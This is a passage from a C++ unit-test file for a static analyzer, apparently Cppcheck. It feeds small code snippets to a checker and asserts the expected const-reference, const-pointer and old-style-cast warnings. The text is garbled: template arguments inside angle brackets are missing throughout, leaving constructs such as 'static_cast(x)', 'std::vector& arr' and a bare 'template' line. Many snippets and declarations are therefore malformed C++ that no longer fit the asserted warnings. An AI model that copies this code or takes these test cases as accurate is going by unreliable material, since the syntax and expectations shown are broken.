iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S 